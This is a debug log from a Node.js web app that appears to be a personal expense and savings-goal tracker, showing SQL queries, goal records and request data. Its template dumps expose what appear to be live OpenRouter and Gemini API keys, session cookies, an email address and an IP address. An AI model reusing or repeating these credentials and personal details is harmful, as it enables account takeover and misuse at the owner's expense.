    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-07T01:27:48.235Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-07T01:27:52.487Z server-connect:router Serving templateView /goal
2026-03-07T01:27:52.488Z server-connect:app Executing action step identify
2026-03-07T01:27:52.488Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:52.488Z server-connect:output identity: 1
2026-03-07T01:27:52.488Z server-connect:app Executing action step restrict
2026-03-07T01:27:52.488Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T01:27:52.489Z server-connect:output restrict: undefined
2026-03-07T01:27:52.489Z server-connect:router Render template goal
2026-03-07T01:27:52.489Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"3f7a-8evdTmhK5BWMrlr1EAyEpXj7HJk"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"3f7a-8evdTmhK5BWMrlr1EAyEpXj7HJk"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-07T01:27:52.857Z server-connect:router Serving serverConnect /api/goals/list
2026-03-07T01:27:52.857Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-07T01:27:52.857Z server-connect:app Executing action step identify
2026-03-07T01:27:52.857Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:52.857Z server-connect:output identity: 1
2026-03-07T01:27:52.857Z server-connect:app Executing action step restrict
2026-03-07T01:27:52.857Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:27:52.858Z server-connect:app Executing action step identify
2026-03-07T01:27:52.858Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:52.858Z server-connect:output identity: 1
2026-03-07T01:27:52.858Z server-connect:app Executing action step restrict
2026-03-07T01:27:52.858Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:27:52.858Z server-connect:output restrict: undefined
2026-03-07T01:27:52.858Z server-connect:app Executing action step custom
2026-03-07T01:27:52.858Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-07T01:27:52.859Z server-connect:output restrict: undefined
2026-03-07T01:27:52.859Z server-connect:app Executing action step paged
2026-03-07T01:27:52.859Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-07T01:27:52.863Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 4,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-07T01:27:52.864Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '136000',
    last_transaction_date: 2026-03-06T16:36:36.000Z,
    percentage_achieved: '68.00',
    grand_total_saved: '136000',
    grand_total_target: '4300000'
  }
]
2026-03-07T01:28:10.433Z server-connect:router Serving serverConnect /api/goals/transaction
2026-03-07T01:28:10.433Z server-connect:app Executing action step identify
2026-03-07T01:28:10.433Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:10.434Z server-connect:output identity: 1
2026-03-07T01:28:10.434Z server-connect:app Executing action step restrict
2026-03-07T01:28:10.434Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:10.434Z server-connect:output restrict: undefined
2026-03-07T01:28:10.434Z server-connect:app Executing action step insert
2026-03-07T01:28:10.434Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-03-07T01:28:10.435Z server-connect:output insert: { affected: 1, identity: 15 }
2026-03-07T01:28:10.660Z server-connect:router Serving serverConnect /api/goals/list
2026-03-07T01:28:10.660Z server-connect:app Executing action step identify
2026-03-07T01:28:10.660Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:10.660Z server-connect:output identity: 1
2026-03-07T01:28:10.661Z server-connect:app Executing action step restrict
2026-03-07T01:28:10.661Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:10.661Z server-connect:output restrict: undefined
2026-03-07T01:28:10.661Z server-connect:app Executing action step custom
2026-03-07T01:28:10.661Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-07T01:28:10.662Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '111000',
    last_transaction_date: 2026-03-07T01:28:10.000Z,
    percentage_achieved: '55.50',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  }
]
2026-03-07T01:28:10.684Z server-connect:router Serving templateView /goal
2026-03-07T01:28:10.685Z server-connect:app Executing action step identify
2026-03-07T01:28:10.685Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:10.685Z server-connect:output identity: 1
2026-03-07T01:28:10.685Z server-connect:app Executing action step restrict
2026-03-07T01:28:10.685Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T01:28:10.685Z server-connect:output restrict: undefined
2026-03-07T01:28:10.685Z server-connect:router Render template layouts/main
2026-03-07T01:28:10.686Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-07T01:28:11.281Z server-connect:router Serving serverConnect /api/goals/list
2026-03-07T01:28:11.282Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-07T01:28:11.283Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-07T01:28:11.284Z server-connect:app Executing action step identify
2026-03-07T01:28:11.284Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:11.284Z server-connect:output identity: 1
2026-03-07T01:28:11.284Z server-connect:app Executing action step restrict
2026-03-07T01:28:11.284Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:11.284Z server-connect:app Executing action step identify
2026-03-07T01:28:11.284Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:11.284Z server-connect:output identity: 1
2026-03-07T01:28:11.284Z server-connect:app Executing action step restrict
2026-03-07T01:28:11.284Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:11.286Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-07T01:28:11.286Z server-connect:output restrict: undefined
2026-03-07T01:28:11.286Z server-connect:app Executing action step select
2026-03-07T01:28:11.286Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-07T01:28:11.287Z server-connect:output restrict: undefined
2026-03-07T01:28:11.287Z server-connect:app Executing action step custom
2026-03-07T01:28:11.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-07T01:28:11.287Z server-connect:app Executing action step identify
2026-03-07T01:28:11.287Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:11.287Z server-connect:output identity: 1
2026-03-07T01:28:11.287Z server-connect:app Executing action step restrict
2026-03-07T01:28:11.287Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:28:11.288Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '111000',
    last_transaction_date: 2026-03-07T01:28:10.000Z,
    percentage_achieved: '55.50',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  }
]
2026-03-07T01:28:11.288Z server-connect:app Executing action step identify
2026-03-07T01:28:11.288Z server-connect:app options: { provider: 'security' }
2026-03-07T01:28:11.288Z server-connect:output identity: 1
2026-03-07T01:28:11.289Z server-connect:app Executing action step restrict
